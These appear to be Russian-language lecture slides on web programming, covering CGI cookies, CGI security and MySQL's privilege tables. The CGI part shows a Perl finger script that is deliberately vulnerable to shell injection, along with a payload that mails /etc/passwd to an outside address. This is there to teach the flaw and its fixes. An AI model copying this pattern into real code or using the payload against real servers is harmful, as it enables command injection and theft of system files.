МЕТОД COOKIE Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на сервере. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе.
МЕРЫ БЕЗОПАСНОСТИ Протокол CGI достаточно защищен. CGI программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI программа может позволить злоумышленнику получить доступ к системе сервера.
ДЕЙСТВУЮЩИЙ CGI-ИНТЕРФЕЙС К КОМАНДЕ FINGER #!/usr/bin/perl w use CGI; my $output = new CGI; my $username = $output >param('username'); print $output >header, $output >start_html('Finger Output'), "<pre>", `finger $username`, "</pre>", $output >end_html;
Если запустить программу просто как finger. cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger. cgi? username=fred, то она выведет информацию о пользователе «fred» на сервере. Можно даже запустить ее как finger. cgi? username=bob@foo. com для вывода информации об удаленном пользователе.
Если запустить программу как finger. cgi? username=fred; mail hacker@bar. com</etc/passwd, могут произойти нежелательные вещи. Оператор обратный штрих «`` » в Perl порождает процесс оболочки и выполняет команду, возвращающую результат. В данной программе "finger $username" используется как простой способ выполнить команду finger и получить ее результат. Однако большинство командных процессоров позволяет объединять в одной строке несколько команд. Например, любой процессор, подобный процессору Борна, делает это с помощью символа «; » . Поэтому `finger fred; mail hacker@bar. com</ etc/ passwd` запустит сначала команду finger, а затем команду mail hacker@bar. com</etc/passwd, которая может послать целиком файл паролей сервера нежелательному пользователю.
МЕРЫ БЕЗОПАСТИНОСТИ • Одно из решений состоит в синтаксическом анализе поступивших от формы данных. Можно, скажем, искать символ «; » и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. • Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как «nobody» , имеющий ограниченные права, поэтому у CGI программы тоже мало прав. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.
ТЕМА 3. ДОСТУП К БАЗАМ ДАННЫХ. СУБД MYSQL
3. 1. СУБД MYSQL ТЕМА 3. ДОСТУП К БАЗАМ ДАННЫХ. СУБД MYSQL
СУБД MYSQL Особыми целями проектирования My. SQL были скорость, надежность и простота использования. Чтобы достичь такой производительности, ее разработчик шведская фирма Тс. Х приняла решение сделать многопоточным внутренний механизм My. SQL. Помимо выигрыша в производительности, полученного благодаря многопоточности, My. SQL поддерживает большое подмножество языка запросов SQL. My. SQL поддерживает более десятка типов данных, а также функции SQL.
3. 1. 1. МНОГОПОТОЧНАЯ АРХИТЕКТУРА Каждое входящее соединение обрабатывается отдельным потоком, при этом еще один всегда выполняющийся поток управляет соединениями, поэтому клиентам не приходится ждать завершения выполнения запросов других клиентов. Одновременно может выполняться любое количество запросов. Пока какой либо поток записывает данные в таблицу, все другие запросы, требующие доступа к этой таблице, просто ждут, пока она освободится. Клиент может выполнять все допустимые операции, не обращая внимания на другие одновременные соеди нения. Управляющий поток предотвращает одновременную запись какими либо двумя потоками в одну и ту же таблицу.
3. 1. 2. СИСТЕМА БЕЗОПАСНОСТИ MYSQL При первоначальной установке My. SQL создается база данных под названием «mysql» . В этой базе есть пять таблиц: db, host, user, tables_priv, и columns_priv. Более новые версии My. SQL создают также базу данных с названием func, но она не имеет отношения к безопасности. My. SQL использует эти таблицы для определения того, кому и что позволено делать. Таблица user содержит данные по безопасности, от носящиеся к серверу в целом. Таблица host содержит права доступа к серверу для удаленных компьютеров. И наконец, db, tables_priv и соlumns_priv управляют доступом к отдельным базам данных, таблицам и колонкам.
ТАБЛИЦА USER Поле Тип Null Ключ Значение по умолчанию Host User Password Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown_priv Process_priv File_priv Grant_priv References_priv Index_priv Alter_priv char(60) char(16) enum('N', 'Y') enum('N', 'Y') enum('N', 'Y') enum('N', 'Y') PRI N N N N
В колонках Host и User можно использовать символ «%» , заменяющий произвольную последовательность символов. Например, имя узла «chem%lab» включает в себя «chembiolab» , «chemtestlab» и т. д. Специальное имя пользователя «nobody» действует как одиночный «%» , то есть охватывает всех пользователей, не упомянутых где либо в другом месте.
СМЫСЛ РАЗЛИЧНЫХ ПРАВ ДОСТУПА Select_priv - Возможность выполнять команды SELECT. Insert_priv - Возможность выполнять команды INSERT. Update_priv - Возможность выполнять команды UPDATE. Delete_priv - Возможность выполнять команды DELETE. Create_priv - Возможность выполнять команды CREATE или создавать базы данных. Drop_priv - Возможность выполнять команды DROP для удаления БД Reload_priv - Возможность обновлять информацию о доступе с помощью mysqladmin reload.
СМЫСЛ РАЗЛИЧНЫХ ПРАВ ДОСТУПА Shutdown_priv - Возможность останавливать сервер через mysqladmin shutdown. Process_priv - Возможность управлять процессами сервера. File_priv - Возможность читать и записывать файлы с помощью команд типа SELECT INTO OUTFILE и LOAD DATA INFILE. Grant_priv - Возможность давать привилегии другим пользователям. Index_priv - Возможность создавать и уничтожать индексы. Alter_priv - Возможность выполнять команду ALTER TABLE.
В MYSQL ЕСТЬ СПЕЦИАЛЬНАЯ ФУНКЦИЯ, ПОЗВОЛЯЮЩАЯ СКРЫТЬ ПАРОЛИ ОТ ЛЮБОПЫТНЫХ ГЛАЗ. ФУНКЦИЯ PASSWORD() ЗАШИФРОВЫВАЕТ ПАРОЛЬ. НИЖЕ ПОКАЗАНО, КАК ИСПОЛЬЗОВАТЬ ФУНКЦИЮ PASSWORD() В ПРОЦЕССЕ ДОБАВЛЕНИЯ ПОЛЬЗОВАТЕЛЕЙ В СИСТЕМУ INSERT INTO user (Host, User, Password, Select_priv, Insert_priv, Update_priv, Delete_priv) VALUES ('%', 'bob', password('mypass'), 'Y', 'Y') INSERT INTO user (Host, User, Password, Select_priv) VALUES ('athens. imaginary. com', 'jane', 'Y') INSERT INTO user(Host, User, Password) VALUES ('%', 'nobody', '') INSERT INTO user (Host, User, Password, Select_priv, Insert_priv, Update_priv, Delete_priv) VALUES ('athens. imaginary. com', 'nobody', password('thispass'), 'Y', 'Y')
СОПОСТАВЛЕНИЕ ИМЕН В MYSQL Некоторое имя может соответствовать на деле нескольким записям. Например, «nobody @athens. imaginary. com» соответствует и «nobody@%» , и «nobody@athens. imaginary. com» . Прежде чем осуществлять поиск в таблице user, My. SQL сортирует данные следующим образом: • Сначала ищется соответствие для узлов, не содержащих масок «%» , при этом пустое поле Host трактуется как «%» . • Для одного и того же узла сначала проверяется соответствие имен, не содержащих масок. Пустое поле User трактуется как содержащее «%» . • Первое найденное соответствие считается окончательным.
В предыдущем примере пользователь сначала будет сравниваться с «nobody» из «athens. imaginary. com» , поскольку «athens. imaginary. com» в порядке сортировки стоит выше «%» . Поскольку имена компьютеров сортируются раньше имен пользователей, значения привилегий для компьютера, с которого вы подключаетесь, имеют приоритет перед любыми конкретными правами, которые у вас могут быть. Если таблица user содержит записи: Host % athens. imaginary. com User jane и jane подключается с «athens. imaginary. com» , то My. SQL будет использовать привилегии, данные «athens. imaginary. com» .
ТАБЛИЦА DB Поле Тип Null Ключ Host char(60) PRI Значение умолчанию Db char(32) PRI User char(16) PRI Select_priv enum('N', 'Y') N Insert_priv enum('N', 'Y') N Update_priv enum('N', 'Y') N Delete_priv enum('N', 'Y') N Create_priv enum('N', 'Y') N Drop_priv enum('N', 'Y') N References_priv enum('N', 'Y') N Index_priv enum('N', 'Y') N Alter_priv enum('N', 'Y') N по
Таблица управляет правами пользователей в отношении определенных баз данных. Поскольку привилегии, указанные в таблице user, относятся ко всему серверу в целом, права, присвоенные пользователю в таблице user, перекрывают права, присвоенные тому же пользователю в таблице. Например, если пользователю в таблице user разрешают доступ типа INSERT, это право действует в отношении всех баз данных, вне зависимости от того, что указано в таблице db.
Наиболее эффективно создание в таблице user записей для всех пользователей, в которых не даны никакие права. В этом случае пользователь может лишь подключиться к серверу, не выполняя никаких действий. Исключение делается только для пользователя, назначенного администратором сервера. Все остальные должны получить права доступа через таблицу db. Каждый пользователь должен присутствовать в таблице user, иначе он не сможет подключаться к базам данных.
Те же правила, которые действуют в отношении колонок User и Host в таблице user, действуют и в таблице db, но с некоторой особенностью. Пустое поле Host вынуждает My. SQL найти запись, соответствующую имени узла пользователя, в таблице host. Если такой записи не найдено, My. SQL отказывает в доступе. Если соответствие найдено, My. SQL определяет права как пересечение прав, определяемых таблицами host и db. Иными словами, в обеих записях разрешение должно иметь значение «Y» , иначе в доступе отказывается.
ТАБЛИЦА HOST Поле Тип Null Ключ Значение по умолчанию Host char(60) PRI Db char(32) PRI Select_priv enum('N', 'Y') N Insert_priv enum('N', 'Y') N Update_priv enum('N', 'Y') N Delete_priv enum('N', 'Y') N Create_priv enum('N', 'Y') N Drop_priv enum('N', 'Y') N Grant_priv enum('N', 'Y') N References_priv enum('N', 'Y') N Index_priv enum('N', 'Y') N Alter_priv enum('N', 'Y') N
ТАБЛИЦА HOST Таблица host позволяет задать основные разрешения на межкомпьютерном уровне. При проверке прав доступа My. SQL ищет в таблице db соответствие имени пользователя и его машине. Если он находит запись, соответствующую имени пользователя, поле host которой пусто, My. SQL обращается к таблице host и использует пересечение обоих прав для определения окончательного права доступа. Если у вас есть группа серверов, которые вы считаете менее защищенными, то вы можете запретить для них все права записи.
ТАБЛИЦЫ TABLES_PRIV И COLUMNS_PRIV Эти две таблицы, по сути, уточняют данные, имеющиеся в таблице db. Именно, право на всякую операцию сначала проверяется по таблице db, затем по таблице tables_priv , затем по таблице columns_priv. Операция разрешается, если одна из них дает разрешение. С помощью этих таблиц можно сузить область действия разрешений до уровня таблиц и колонок. Управлять этими таблицами можно через команды SQL GRANT и REVOKE.
web_programmirovanie.ppt